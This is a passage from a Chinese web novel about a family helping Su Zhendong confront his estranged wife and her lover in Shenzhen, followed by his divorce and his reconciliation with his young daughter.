他看了眼一脸忧虑的孟知祥,又看了眼沉默的老父亲,突然从椅子上起身,然后二话不说,就朝着苏厚德和孟知祥的方向跪了下去。 苏厚德一惊,下意识起来去拦,可是才一动,蓦然想到什么,脸上的神情一黯,半起的身子又缓缓坐了回去。 孟知祥忍不住皱眉:“振东,你这是什么意思?” 苏振东抬起脸,苦笑一声:“爸、姑父,我知道你们对我很失望。其实我自己有时候也看不起自己,觉得自己就不像个男人。” “我这次之所以一定要去深市找杜晓兰,不为别的,只是想当面跟他们说清楚。” 一听这话,所有人都眼睛一亮。先前微微撇过头、不愿看他的苏厚德更是转过脸,不错眼地盯着他。 这个回答也明显超出孟知祥预期,他险些以为自己听错了,忍不住要再确认一下:“振东,你这话当真?” 可苏振东却没再回应他的话,只自顾自说道:“三天前,那时候我还不知道杜晓兰已经辞职去了深市。那天我两个发小,大民和刚子找来我家,说当初教我们的刘老师过七十大寿,所以攒了个局,为老师祝寿,我们班大多数都会到场。” “上学的时候,刘老师对我不错,这事又是大民和刚子张罗的,我自认把他俩当铁哥儿们,自然要去。只是没想到那天我去了以后,那个男人派了他手下的助理也到了场。” 听他说到这里,苏丽珍不由蹙起了眉,直觉事情不对。 “我根本没想到,那个男人派去的人在老师的寿宴上,当着我老师和一众同学的面,许诺要给我一大笔钱,只为了让我能立刻答应跟杜晓兰离婚。” “我的那些同学,不管关系好坏的,都开始给那人说话。他们围着我,一个个都叫我大度些,说杜晓兰和那个男人原本就是一对,这些年分开也是情有可原。而我既然知道这些,就应该早点放手,好成全他们。” 这下,屋里除了芽芽之外的所有人脸色都沉了下来。 这算什么? 只要稍微有点良心的人都该知道,在这段关系中,苏振东从没对不起过任何人。 甚至如果当初不是他的陪伴和守护,那个杜晓兰能不能安安稳稳挨到今天也不一定。 那对男女打着“爱情”的幌子,为了一己私欲背叛婚姻、抛弃家庭,狠心伤害一个曾对他们有恩的人,本质上就是不忠、不义。 现在为了逼迫苏振东离婚用这样下作的手段,当着众人的面把苏振东面皮剥下来,血淋淋地丢在地上,供人随意践踏。 这分明就是折辱,是挑衅! 而把人逼到这个地步,他们甚至连面都不屑露一下! 还有苏振东那些同学,不知道收了多少好处,在那样的场合、说那样的话。为了站那对渣男贱女,一味把矛头指向最无辜的苏振东。 一边吃人血馒头看笑话,一边出卖良心拿见不得光的好处。 这群人没比那对渣男贱女强多少。 而明明是这么让人生气的事,可苏振东这个当事人的语气却十分平静,平静到有些木然。 “更让我没想到的是,除了刘老师之外,就连大民和刚子也认为全是我的错……其实我都看见了,那个男人派来的人一直在暗中给他们使眼色。” 苏丽珍听得不自觉捏紧了拳头。 事情到这儿已经很明显了,这破事就是苏振东的两个铁哥儿们带头做的局! 想想那样的真相,无疑是对苏振东的又一次沉重打击。 为了那点破事,那两人还真是什么手段都用上了,可真了不得! 同时,她心里也明白了苏振东为什么一定要去深市。 大抵是想亲自找到那两个人,当面锣、对面鼓地好好质问一番,该说的说,该骂的骂。痛快一点的,就是跟那个狗男人面对面打上一架,一方面出了心里这口恶气;一方面,大概也是真正地死心了。 上辈子的苏丽珍深恨自己恋爱脑,从不知理智为何物,所以重生后,总不断要求自己凡事要理智思考,多动脑子、少发脾气,绝不能让感性的想法凌驾在理性思维之上。 可这一刻,看着明明表情平静,但眼底的哀色如此之深的苏振东,她突然不想再讲道理了。 有时候,面对狼心狗肺的人,发一发疯也挺好。干什么总让心地善良的人去宽容、去让步,又不是他们爹妈,谁欠他们的! 于是,她看向苏振东,大声道:“振东叔,我支持您去深市!” 她神情郑重,掷地有声:“我不但支持您,我还要陪您一起去!” 第145章 苏丽珍最终还是没能一起去深市。 转天下午两点,凤城火车站。 开往首都的火车还有二十分钟启程。 苏丽珍一家站在月台上,望着不远处苏厚德一家三口依依惜别。 东北的深秋,天高云淡,白日里的阳光明媚又不晒人,是最舒适的季节。 苏丽珍远远看着苏爷爷,见他老人家此刻虽满脸写着“放不下”,但难得的少了几分郁色。 她不禁也跟着扬起了唇角。 想到昨天她一时气不过,当场喊出要t陪振东叔一起去深市,结果立马换来她爸妈和小麦姐三人不赞同的眼神。 她爸破天荒板着脸,瞪了她一眼:“胡闹,这事是你个小姑娘能出头的吗?” 转头却对苏爷爷父子俩斩钉截铁道:“我也赞成让振东兄弟走这一趟,不为别的,好歹咱得把这口气出了。但他一个人去可不行,我这个做大哥的必须陪着。”| 然后是她妈一边伸手往她身上拍巴掌,一边毫不犹豫地点头附和:“对,咱输人不输阵,我也去!反正这店里有员工,还有小麦和珍珍守着,离了我们俩也没啥事。” 振东叔看着他们一家坚定支持他的态度,原本木呆呆的脸上突然眼圈一红。 而一直没出声的苏爷爷也走了过去,先是一把将儿子重重按在自己怀里,然后不由分说将他拽了起来。 他两只手紧紧握住振东叔的胳膊,语气沉沉道:“这是你自己的事,咱不能什么都麻烦你哥哥和嫂子。但你必须记住,在你最难的时候,是谁二话不说就站在你身边!” “不过这次,爸会陪你一起。”他老人家一贯笑呵呵的脸上那一刻却是前所未有的冷厉,眼眸深处是翻涌的愤怒。 “我不允许任何人这样伤害我的儿子!谁都不行!” 苏爷爷那时的表情震慑住了在场包括振东叔在内的所有人。 然而她却对此一点都不陌生。 上辈子在米国时,她和苏爷爷作伴一起结伴流浪的那段时光里,他们一个是满头白发的干瘦老头,一个是形容憔悴的年轻女人,常常因为外表看上去毫无震慑力而屡遭欺压。 有时候是抢地盘的流浪汉,有时候是想占她便宜的小混混。 每每到那样剑拔弩张的时刻,苏爷爷总是露出这样的表情,抄起手边能动用的任何东西作为武器,恶狠狠地挡在她的身前,与来人对峙。 他老人家总是说,自己是上过战场,杀过敌人的人,宁死也不能叫任何人欺负了他要保护的人。 也是靠着这股子不要命的狠劲儿,他们大多数时候能转危为安。 至于那少数时候实在是因为不敌而被狠狠拳打脚踢的几次,也是牢牢护着她的苏爷爷挨得打最多。 当她今生再次看到苏爷爷露出这样的表情时,脑海里就不自禁浮现出那些苏爷爷为了保护她而被欺辱的画面。 先前叫嚣着要陪振东叔一起去深市的冲动情绪忽然就散了一大半。 重生后,先强制、后来又慢慢成为习惯的理性思维开始重回上峰。 她意识到,即便是苏爷爷答应让她和爸妈同去,但仅仅是凭着他们这几个人,恐怕能起到的作用也很有限。 按照振东叔的说法,那个男人身份上是归国华侨,如今留在特区,很有可能是在那边投资,创办了什么企业。 有这两种身份加持,无论走到哪里都是受欢迎的人物,尤其对当地来说,就更是实打实的贵客。 他们这样贸贸然过去,很可能连人家的面都见不着。 即便是见着了,那样的人身边也不可能少了专业的安保人员,就算是要诉诸武力都胜算不大。 而且真闹大了,比起能给当地创造巨大经济效益的渣男一行,苏爷爷他们这些外来人才更吃亏,搞不好当地为了平息渣男的怒火,还要对他们进行严惩。 所以按照眼下的局面,他们即便是去了,能做的也十分有限。 为今之计就是找一个强有力的外援。 这个人要能够在深市当地说得上话,让渣男不好轻举妄动,搞什么小动作。 一个名字就不期然在她的脑海里浮现,她那会儿压根顾不上平日里的忌惮,只想着第一时间把苏爷爷劝住。 于是她是这么想的,也就那么做了。 她上前打破苏爷爷父子俩难得的温情时刻,然后又向大家分析了仅凭他们一行人找渣男算账的种种弊端。 当时苏爷爷越听、眉头就皱得越紧。 如果没有上辈子的相处经历,苏丽珍看着他那样的表情,心底肯定会担心对方是不是质疑她,或是气恼她的“泼冷水”。 可她对苏爷爷有信心,她知道不管是怎样焦灼的心境都不会影响他最终的判断。 果然,苏爷爷将她的话都听了进去,情绪也真正地冷静下来。 但她也知道即便前面是条再难走的路,也拦不住他老人家的脚步。与其劝他收回决定,不如另想帮得上忙的办法。 所以她没磨叽,当时就建议苏爷爷去找沈瑞帮忙。 她是这样说的:“爷爷,咱们去请求沈瑞出手吧。这是眼下咱们唯一能够得上、也确实有能力帮忙的人,现在什么也比不上振东叔的事重要!您不要太介怀,就算是欠了人情,我,我们一家人,咱们陪着您一起还。” 苏爷爷听完这番话,看着她的眼睛里很快蓄了一层水光。 他老人家并没犹豫多久,调整了下情绪后,就给首都的沈家打了个电话。 赶巧,接电话的正是沈瑞。 苏爷爷就把振东叔的事情一句没落地说了一遍,然后十分郑重地拜托沈瑞,希望他们到了深市后,沈瑞能够安排人帮他们找到渣男,最好是能顺利见到对方。 跟苏丽珍之前料想的一样,沈瑞这样的人精,大概第一时间就明白了苏爷爷的顾虑。是以他一句话也没多问,半点没犹豫就答应了下来。 只是他在电话里也提了一个要求,那就是不希望苏爷爷跟着走这一趟。 同时,他也向苏爷爷承诺,这次会亲自带着苏振东去深市。 如果证实杜晓兰和那个男人确实在那边,那他一定会安排苏振东见到他们,也保证会帮苏振东讨回公道。 苏爷爷有些犹豫,在旁边听着的苏丽珍知道,他是不想把所有事情都推给沈瑞。 甚至以苏丽珍对他的了解,估计这老爷子很可能会借着沈瑞的帮助,顺利见到对方后,就要立即不客气地赏对方几拳头,作为他欺负振东叔的代价。 说不定他老人家还想着,大不了之后被送去蹲大狱也无所谓,反正他总要当面揍那混蛋一顿。 所以苏丽珍心里其实也不想让苏爷爷去。 只是事关振东叔,她不能分违拗老人家的想法。 没想到沈瑞倒是比她果决,估计是同样料到了苏爷爷的心思,才会第一时间把人拦在家里。 于是,苏丽珍便顺势借着这股“东风”,在当时苏爷爷下意识把目光投向自己时,立马冲他点了点头,然后小声劝道:“爷爷,深市真的很远,一来一回很折腾的。再说,您这一趟不知道走多久,还有芽芽这边怎么办?医生说她情况才刚好些……” 结果她话音刚落,不知道是不是对面听到了她的声音,只听话筒里传来那人附和的声音:“苏小姐说的有道理。而且德叔,如果您不答应,我不介意把这事告诉爷爷。” 一听这话,苏爷爷再不敢坚持,只得答应了沈瑞的要求。 两人在电话里约定,苏振东坐第二天下午的火车先到首都,然后由沈瑞带他从首都直接坐飞机到深市。 打完了这通电话,苏爷爷就和振东叔进行了一次长谈。 父子俩在房间里聊了很久,谁也没去打扰。 等两人再从房间里出来时,苏丽珍发现苏爷爷的眼神中多了几分希望。 振东叔也不再像之前那般总是流露出木然凄苦的神色。 昔日因为苏振东错误的执念而破裂的父子关系终于缓和,父子俩之间似乎又回到从前那些相依为命、彼此信赖的旧时光。 便是此刻,苏丽珍站在月台这一边,看着父子俩依依惜别,耳畔是苏爷爷夹杂在风中的声声叮咛。 “到了那边,一定要听小瑞的话,尽量不要给小瑞惹麻烦……” “振东,咱们不惹事,也不怕事。谁欺负咱,咱就欺负回去,天塌下来,有爸给你顶着……” “小瑞都答应我了,他一定会帮你。你不要有负担,欠沈家的,爸去还。” “爸现在能为你做的,只有这些了,你要好好的……” 苏丽珍听着、听着,忽然鼻子一酸,连忙将目光转向别处。 这时,车站的广播站开始播报,开往首都的列车即将到站,请月台上的旅客做好乘车准备。 广播声过后,站台的工作人员也吹响了哨子。 站t台上原本三五成群的人们开始移动,以登车预留区域划好的线条为界,坐车的人往里走,送别的人向后退。 分别在即,声音越发嘈杂。 苏厚德和苏振东却并不着急,父子俩利用最后的一点时间说着话,不知不觉就缀在了人群的最后。 苏丽珍见状,上前将随身带着的一个布兜子塞到苏振东手里,在他耳边低低道:“振东叔,兜里有两千块钱,就夹在两件衬衣中间,您拿好。” 苏振东愣了一下,反应过来,顿时急了,赶忙要还回去,却被苏丽珍一把按住:“叔,几件衣服而已,就是我爸妈的一点心意,您就别推拒了。这么多人看着,怪不好意思的。” 说完,就往后退了一步,站在苏振东一下够不着的地方。 苏丽珍一提醒,苏振东立马想起眼下环境,也不敢表现的太明显,想反手还回去,偏偏苏丽珍又躲得够快。 情急之下,他之好去看自己的父亲。 刚刚因为苏丽珍压得声音很低,苏厚德其实没怎么听清她的话,只依稀听见“钱”“衬衣”这样的字眼。 但他了解苏丽珍一家的为人,又看儿子这好像捧了烫手山芋似的表情,脑子里一转就明白是怎么回事了。 他下意识握紧了芽芽的小手,叹了一口气,最终才用另一只手拍了拍儿子肩膀:“先拿着吧……出门在外也多想想你的这些亲人,振东,咱以后千万不能忘本。” 苏振东没法,只得将布兜拎带牢牢缠在手腕间,外表看似放松,实则手里攥得紧紧的。 这么会工夫,工作人员开始吹第二遍哨子。 两条蜿蜒的铁轨尽头,已经能看到火车的影子。 人们开始抓紧这最后的时间大声道别。 等苏振东挥别了父亲、女儿和苏丽珍一家,也随着人群涌向车门时,身后忽然传来一个久违的声音:“爸爸!” 苏振东不敢置信地转过身,一眼看到已经记不清多久没有跟他说过话的女儿此刻背靠着父亲,两只小手拢在嘴边,正朝着他坚定地大喊:“爸爸!” 苏振东潸然泪下。 坐在开往首都的列车上,这一刻的苏振东忽然觉得自己放下了。 往者不可留。 而他还有父亲、有女儿,有另一个没有血缘、却亲如骨肉的苏家。 父亲说得对,他没什么放不下的。 第146章 自从那天在车站送别苏振东,芽芽突然开口叫了“爸爸”以后,众人就惊喜地发现这孩子真的不再像之前一样抵触苏振东了。 当大家提起苏振东的名字时,她不会再转身避走或者干脆一副听而不闻的样子。 她会歪着小脑袋在一旁认真地倾听,偶尔还会问一句“爸爸什么时候回来”。 对比之前的视而不见,真是让苏厚德等人又惊又喜。 她像一夜间长大了不少,开始懂得这世间的复杂,理解了成人世界里除黑白之外更多的底色。 而且她又重新捡起丢掉多日的书法,每天都会花很长的时间在二楼的书房里认真练字。 这段时间,她写的最多的是爷爷和爸爸的名字,然后是姑爷爷和苏丽珍一家,还有火锅店里及张表舅家每一个对她都特别好的人。 最后才是她自己。 唯独没有妈妈杜晓兰。 苏厚德看到那通篇的名字,神情欣慰又有点复杂。 不过他也并没有说什么。 这是杜晓兰自己的选择。 她先放弃了身为母亲的角色,那么身为女儿的芽芽也有权利去选择忘记她。 虽然曾经的家庭注定支离破碎,但在苏厚德心里,他仍然希望孙女能健健康康、快快乐乐地长大,而不是要用一生的时间去背负一个不幸的童年。 所以只要芽芽高兴,只要她能走出父母离婚的阴霾,不管孩子的选择是什么,他都会支持。对杜晓兰如此,对他儿子苏振东也一样。 之后,苏厚德又在苏卫华的陪伴下去了趟凤城医院。经过一番详细咨询,医生确认芽芽恢复得很好,等再观察一段时间,如果确定没什么大问题,应该就可以照常上学了。 之前他们听从医生的建议,虽然给芽芽换了新环境,但并没有马上送她上学,而是先等她一点点适应这里、喜欢上这里后,再确定入学的事。 当听到孙女以后能像正常孩子一样上学,苏厚德当场老泪纵横,握着苏卫华的手良久说不出话。 等苏卫华回来将这个好消息分享给众人,苏丽珍同样心中激动不已。 她知道,芽芽快要好了,不会再像上辈子那样,因为严重的心理疾病没法说话,被人贩子误以为是哑巴直接掳走!又在逃窜过程中因为本就不稳定的情绪受到刺激而一度激烈反抗,结果被恼怒的坏人生生捂死了。 她会好好长大,他们所有人会牢牢守护着她,帮她驱散所有的噩运。 同时,这段时间,苏丽珍自己也格外努力。 一方面学习上,她比之前下了更多功夫。新学期分班,她经过一番考虑,为了稳妥,还是选择了自己擅长的文科。 文科容易出成绩,但想拿高分却很难。尤其她未来的大学目标定的比较高,要想实现这个目标,她就需要付出更多的努力,确保成绩稳中有升。 现在闲暇放松时,她除了照常钻研报纸和期刊上的一些政策解读外,也更加关注改开后第一批发展迅速的城市和地方经济组织,努力培养自己的经济嗅觉。 可惜市图书馆里,有关经济、金融和管理方面的书籍都在当年被当成“毒草”处理得差不多了,至今没有填充。 好在她上辈子毕竟比别人多活了十年,又在号称“富人天堂、穷人地狱”的米国流浪了三个年头,该见识、不该见识的,都见识得差不多了。 再结合从一些时文报道上收获的信息,她时常也能得到一点启示或者灵感。 这个过程虽然极其枯燥,却很有收获。 这些日子,她就凭借这些想法陆续制定了一些未来的计划。 这些计划环环相扣,如果能顺利实行,那么不久的将来,她一定可以积累更多的实力。 也只有拥有这些力量,她才谈得上能保护别人。 从前她并没什么太大的野心,而且一直觉得重生不是洗髓换骨,她不可能突然就开了窍,变成样样精通的天才。 所以她想着,只要保证让父母亲友过上富足充裕的生活,不再像上辈子那样连药都要节省着吃就好。 顶天了,就是购置一些有升值空间的固定资产,等哪一天不想工作了,也能随时停下来休息。 可经历了振东叔这次的事,她突然意识到自己的力量还是远远不够。 世界太大了,以至于她脚下的凤城也随时会变得微不足道。 所以她绝不能止步于眼下的成绩,必须全力以赴去争取一切力量。哪怕天赋不行,她也要试着通过后天努力,抢赢一点是一点。 而就在她全身心投入到学习和对未来的各种计划中时,苏振东回来了。 距离他离开的那日算起,不多不少,刚好十天。 他这一趟回来变化很大,人更瘦了,几乎脱了相,但精神头却意外地比每次都好。 看见苏厚德的第一句话就是:“爸,我回来了。” 想了想,又从贴身的口袋掏出一纸离婚证明递了过去,“爸,我离婚了……我想好了,以后不管您和芽芽去哪儿,我就去哪儿。我会担负起做一个儿子和父亲的责任。” 这是苏丽珍第一次看到这个时候的离婚证,它只是一张两个手掌大小、质地略硬实的纸片,看上去有些粗陋。 白纸黑字,鲜红的卡戳,代表了人生中至关重要的一段关系的终结和一个曾经美好家庭的破裂。 但事有两面,一段经历的结束,也意味着新的开始。一辈子那么长,只要愿意,总能开启新的旅程、新的篇章。 苏厚德伸手轻拍了拍苏振东的肩头,目光中有慈爱、有心疼,他似乎有很多话想说,可最后就只说了一句:“好,爸相信你。” 旁边的苏卫华想了想,也忍不住上前,像之前的苏厚德一样,轻拍了拍苏振东的手臂。 他虽然一个字没说,但是眼里的关心和鼓励却胜过千言万语,真真切切地传达到了苏振东心里。 苏振东看着两人,眼眶又有一点发红。不过这次,他到底没有再流泪,而是扬起嘴角,露出一个大大的笑容。 “谢t谢爸,谢谢大哥!” 苏厚德和苏卫华也忍不住朝他齐齐露出一个高兴的笑容。 这一刻,任谁看着他们,都不会怀疑这并不是真正的一家人。 这时,一声“爸爸”在众人身后响起,大家循声望去,却是芽芽不知什么时候下了楼,正站在楼梯口怯生生地看着他们。 相比那天在车站第一次开口,这会儿的芽芽明显有些怯懦不安,似乎又有点下意识地想要躲避。 苏厚德赶忙朝她招手:“芽芽,快来,是爸爸回来了!” 苏丽珍主动上前拉起她的小手,陪着她一起走过来。 “芽芽!”苏振东既紧张、又激动,想伸手摸摸面前的女儿,又怕她还没完全接受自己,一时便有些手足无措。 小姑娘站在苏振东面前,静静观察了他一会儿,忽然主动伸出自己的小手:“爸爸。” “唉!”那一瞬间苏振东激动到无以复加,伸手将女儿的小手牢牢握住,见她真的不再讨厌自己,忍不住将她紧紧搂在怀里,哽咽道:“芽芽,我的女儿,是爸爸错了,爸爸对不起你!” 芽芽靠在父亲的怀里,微微侧头看了眼悄悄抹眼泪的爷爷和高兴地咧嘴直笑的大伯一家人,也学着之前爷爷和大伯的样子,抬起自己稚嫩的小手无声地拍了拍父亲的肩膀。 感受着来自女儿的关心,苏振东再也忍不住,眼泪一滴接一滴的掉了下来。 直到许多年后,苏静雅依然记得那个明媚的清晨,父亲的眼泪一滴滴落在自己额头、脸颊的感觉。 那种热烫的温度始终烙印在她心底,是她记忆里来自父亲最深沉的爱意。 众人看着这样的场景,都免不了内心感动,感性如李翠英和苏小麦,更是忍不住眼底发热。 这一刻是如此的温馨,整个大厅都静悄悄的,大家谁都不想开口打破这份美好,直到一阵“震天响”的肚子轰鸣声倏然炸起。 所有人都懵了一瞬,等顺着声音看过去,却是一个站在沈瑞身边的陌生青年正抱着肚子冲着众人讪笑。 大家这才反应过来,苏振东不是自己一个人回来,另外还有沈瑞和这个小伙子陪同。 刚刚众人的注意力都集中在苏振东一人身上,都忘了还有别人,害两人在门口晾了半天。不说沈瑞,旁边那个小伙子还是第一次上门呢! 苏卫华夫妻俩顿觉十分过意不去,赶忙招呼人坐下。 认识人的苏厚德也第一时间给大家介绍:“卫华、翠英,这孩子是名义,周明义,跟小瑞从小一起长大。” 又跟周明义介绍苏家人,“小义,这是德叔的干儿子和儿媳,这是我两个干孙女,小麦和珍珍。” 他本想让周明义跟着自己的辈分叫苏卫华和李翠英一声大哥、大嫂,但又想起之前沈瑞似乎管干儿子夫妻俩叫“叔”“婶”,以周明义喜欢跟着沈瑞的性格,这称呼一时还有些拿不准。 果然,他话音刚落,旁边沈瑞就笑眯眯道:“叔叔、婶婶,小义跟我既是亲戚、也是发小,你们拿他当我一样就好。” 听见这话的周明义心里暗暗纳罕,怎么这家伙没随着德叔那边的称呼,反而自愿降了一辈呢? 不过他一向乐于随沈瑞行事,所以尽管心里奇怪,但面上还是十分热情地随着他一起叫了声“苏叔”“苏婶”。 之后又跟苏丽珍姐妹打了个招呼。 其实他对苏丽珍一家不算陌生,当初这一家在客运站摆摊的时候,彼时还是个黄毛丫头的苏丽珍可是给他结结实实上了一堂大课。 让他明白什么叫“人不可貌相”,还有“莫欺少年穷”。 不过话说回来,他离开凤城不过大半年,这丫头就出落得这么出众了。这一身的气质,说她是他们老家大院里谁家的千金,恐怕也没人不信吧! 还有这独栋洋楼的大饭店,嘿,瞧瞧这装修、这气派!好家伙,客运站门口卖包子和凉皮这么挣钱吗? 苏家人可不知道他脑子里的思维这么活跃,李翠英想起他之前肚子直叫,忙问道:“对了,你们是不是都没吃饭呢?” 沈瑞便解释了两句。 原来他们昨晚到凤城后,因为太晚就直接去了沈瑞的公馆。 赶巧他请来看房子兼做家务的阿姨这两天有事,所以昨晚上他们三个大男人就简单吃了点饼干垫了垫。 今早上又因为苏振东归家心切,他们就直接过来了。 一听说他们还没吃饭,李翠英忙让三人先坐下,吃点儿桌上的干果垫肚子,之后就一头扎进了厨房。 想着三人饿得不轻,她就没做什么太麻烦的。用厨房现成的牛肉和新鲜的鱼肉丸子做了一大锅热汤面。 李翠英打听第一次来的周明义,听说他也能吃辣,就在汤面里加了一勺自家的麻辣烫原汤底调味。 正好今天的卤味也能出锅了,她每样捡点,切了满满两大盘,一盘荤的,一盘素的,两样搭配着吃正好。 又担心这些东西大早上吃太过重口,李翠英看时间还不到早上八点,索性又打发苏卫华去隔壁街上的国营饭店去买小笼包和豆浆,回来搭配着自家的卤蛋吃也不错。 说起他们家的卤蛋,可真是一年四季热卖的冠军单品。 他们家的卤蛋咸鲜味浓,滋味儿半点不输肉味,好吃又营养,关键价格还便宜。会员价一个才八分钱,比国营饭店的茶叶蛋还便宜呢! 花不到两毛钱买上两个回家吃,解馋效果一流。 而且卤蛋还十分百搭,无论是冬天吃完了火锅拿它溜缝,还是夏天搭配着凉皮和串串,怎么吃都方便,也怎么吃都好吃。 现在每天一大锅卤蛋常常等不到半下午就卖个一干二净,老受欢迎了。 这边卤蛋刚摆上桌,那边苏卫华也回来了。不过因为他去的时间到底有点晚,所以只买到了包子,没买到豆浆。 李翠英想起上次沈瑞好像挺喜欢自家闺女泡的水果茶,就让苏丽珍又去泡茶。 等苏丽珍端了茶水过来时,只见她家平时用来吃饭和看账的小圆桌上,这边坐着沈瑞和周明义,对面则是苏振东和芽芽。 苏振东端着面碗,吃一口就看一眼芽芽,中途还试图投喂女儿,结果先被苏爷爷嫌弃地推开了。 他老人家把一小碟子自己剥好的干果放到孙女跟前,看着越来越亲近的父女俩,笑眯眯地去一旁跟孟姑爷爷说话去了。 芽芽捏起一粒干果放进嘴里,想了想,又把一碟子干果都推到了苏振东面前。 苏振东立即咧嘴笑了起来。 苏丽珍在一旁也忍不住弯起了嘴角。 她觉得这会儿就是给苏振东一碗糙米糠饭,他也能吃得喷喷香。 等她再把目光转向对面的沈瑞和周明义。 沈瑞就不用说了,别说这会儿只是吃个面,就算是外头天塌了,也丝毫撼动不了他浑身上下那股子温和儒雅的矜贵气。 倒是他身边的周明义,可以说跟他完全是两个极端,这会儿正抱着面碗吃得头不抬、眼不睁。也不知道是热的、还是辣的,这么会工夫出了一头一脸的汗,嘴巴也红通通的。 可即便是这样,也挡不住他那筷子几乎要抡圆了的架势。 苏丽珍眼睁睁看着他吃到一半,随手抹了把脸上的汗,结果不小心把嘴边的红油沾得到处都是,然后汗就出得更多了…… 苏丽珍:“……” 她正想说去拿条毛巾,就听周明义扯着嗓子嚷道:“瑞哥,赶紧的,快把手绢借我,辣椒油进眼睛里了!” 等从沈瑞那里拿到了手绢,他一手往眼睛和脸颊上胡乱抹了抹,一手又抄着筷子迅速把对面苏振东正准备夹起的一大片卤猪腿肉飞快夹起,然后整个塞进嘴里,那叫一个快、狠、准。 苏振东:“……” 沈瑞:“……” 苏丽珍:“……” 一顿狼吞虎咽,等万分珍惜地把盘子里最后一块卤蛋也吃掉,周明义忍不住发出一声幸福地长叹。 喝了口水果茶,品酒似的咂了咂嘴,他整个人享受地摊在椅子上,就差翘个二郎腿了。 看着旁边慢条斯理喝茶的沈瑞,周明义眼珠一转,趁着对面苏振东正和芽芽说话,他一个打挺,从椅子上支棱起来,凑到沈瑞耳边欠欠地说道:“瑞哥,我可知道你这几个月为啥总想往凤城这边跑了,原来这地儿还真有宝贝!老实说,你是不是看上她……” 赶巧话说到一半,正好那个叫苏丽珍的女孩子又过来送水果,他下意识就住了嘴。 而握着茶杯的沈瑞却只觉得心脏漏跳了一拍。 他不动声色地t就着茶杯浅饮了一口,抬眸看了眼少女美丽婀娜的背影,这次他不等周明义再开口,便和煦道:“小义,我想了下,咱们家电厂那边,施工还是需要有个自己人看着。这事交给别人,我不放心,到时候还要麻烦你再接着守一段时间。” 周明义听完整个人都傻了,嘴里原先那句“你是不是看上他们家手艺了?”也忘了问。 什么叫让他再守一段时间?为什么又是他?怎么还是他? 第147章 “我们找到李明翰这孙子的时候,他起先还不承认,结果被我瑞哥拿着他当初派去首都办事的那个王八蛋的身份资料,照着他脸上这么狠狠一拍!嘿,这小子当场就变哑巴了!” 吃完早饭,苏振东跟着芽芽去楼上练书法。 苏厚德和孟知祥就过来向沈瑞打听他们这次去深市的经过。 结果沈瑞还没开口,旁边周明义就像竹筒倒豆子似的“噼里啪啦”一顿说,中间还连比划带动作的,简直就像在演大戏。 苏丽珍按父母要求,又给桌上送去一壶水果茶,看见周明义这样,心里也觉得有趣。 明明上一分钟这人还莫名其妙情绪低落,这转个身的工夫就又精神头十足了。 真是难以想象,老成世故如沈瑞,身边的人居然是这么个活泼性子。 “德叔、孟伯伯,我跟你们讲,我瑞哥早把这李明翰这孙子的德性摸透透的了。他之前就先让我找人探了这孙子的底儿,知道这王八羔子在特区开了个纺织厂和皮具厂,所以那天我们和东哥去的时候,就假装是合作商的身份。” “这孙子起初以为我们谈合作呢,结果一见东哥就变了脸,人还贼能装,把过错都推到给他办事的人身上,还说这些年很感谢东哥帮他照顾女人巴拉巴拉的,脸皮比特么城墙拐弯还厚,我真想揍他丫的……”说着,还忍不住朝着空气重重比划了一下。 “小义。” 眼瞅着周明义越说越没个正调,沈瑞只得出声打断。 周明义倒也听话,收敛了一下,继续道:“后来我们把李明翰的人在首都办的那些破事都甩给他看,李明翰这才老实不装了。” “瑞哥就让他给东哥赔礼道歉,而且要登报声明,还必须是首都的报纸。同时把当初羞辱东哥的那个人送走,到死都不准踏入咱们华国土地。” “好!”这回是在旁边跟着一起听的苏卫华忍不住叫了声好。 他转头对沈瑞赞许道:“小沈做的对!对于这种人,咱们就不能跟他们客气!” 沈瑞只是谦虚地笑了笑,余光留意着给他们上茶的少女,正端着一簸箕果干往外走,看起来似乎并不怎么关心这些话题的样子。 苏丽珍不是不关心,而是知道以沈家的势力,沈瑞的手段,那个李明翰十有八九是要服软的。 这会儿八点刚过,东北的秋天十分干燥,加之阳光明媚,实在很适合晒菜干、果干。 中秋节那次收到的山楂、山里红太多了,就算变着花样做成零食,大家也有点吃不动。 那天苏爷爷就说干脆帮她炒制一下,做成果干好储存,没事泡茶喝,还能当调料用。 苏丽珍想着既然能炒,自然也能晒,也没让苏爷爷费事,就她和小麦姐两个人没事的时候自己弄弄就是了。 正好小楼坐北朝南,一楼大厅当初改了一排窗户,把收拾干净切半的山楂晾在外窗台上,既不占地方,又方便打理。 天气渐冷,火锅生意开始复苏,因为铜锅烧炭不安全,白天店里的门窗基本都不关紧,早上和午后还会彻底打开通一下风。 就像现在,门窗都半敞着,所以即便苏丽珍在外面晾山楂,也能听见屋里人说话。 果然,跟她之前猜测的一样,她听见屋里苏爷爷先问了句“那李明翰能乖乖答应?” 接着,周明义就扯着嗓门高声道:“他自然不肯乖乖答应,但是有咱瑞哥出马,容不得他不答应!” “我们早就查过他了,这孙子在特区那服装厂看着像模像样,其实毛病一大堆。他仗着是归国华侨和投资商的身份,拿根鸡毛当令箭,压根不把底下人当回事,该有的流程手续能省就省,能漏就漏。” “就说他那厂子里的工人,招工的时候说是实行西方八小时工作制,一天三班倒。其实经常是两个班,工人一天要干12小时,工资却一点没变。” “工人们大多不识字,进厂前又被哄着签了合同,不干也得干。” “还有他那个皮具厂,车间生产线上会接触到有毒物质,这孙子啥防护用品也不给发。工人想申请戴副口罩和手套,还得从自己工资里扣。多损啊,真特么资本家的狼崽子,心黑着呢!” “我们找人潜入到他两个生产车间,给他拍了不少照片,然后瑞哥就安排人给他捅到了报纸上,一天报道个一条、两条的。我们手上的东西才放出去一半,这孙子的名声就臭得不行,相关部门查了他好多不合格的地方,让他停产整顿不说,还罚了一笔钱。” “这还不算啥,主要是当地政府觉得他给投资商们带了个不好的头,现在对他很不满,原本答应批给他的那块地皮也变了卦。这孙子为了这块地皮之前就没少折腾,这回可算是赔了夫人又折兵,想想就痛快!” 周明义一口气说完,屋里立即响起苏爷爷和她爸的叫好声。 然后是沈瑞略显低沉的声音:“李明翰最终同意了我们的全部要求,当场给东哥赔了罪,又把曾给他办事的助手送走。我在边防保卫局确认过,人确实已经离境了。” “之后,他和杜晓兰随我们一起回首都,在日报上发表了致歉声明。见报第二天,东哥就跟杜晓兰办理了离婚手续。” 沈瑞说完,屋子里安静了一瞬。 接着,她就听见苏爷爷长叹了一声,对沈瑞说道:“小瑞、小义,谢谢你们,谢谢你们为振东做的这一切。” 周明义赶忙推辞。 沈瑞也说:“德叔,你我两家的关系,您实在不必这么客气。” 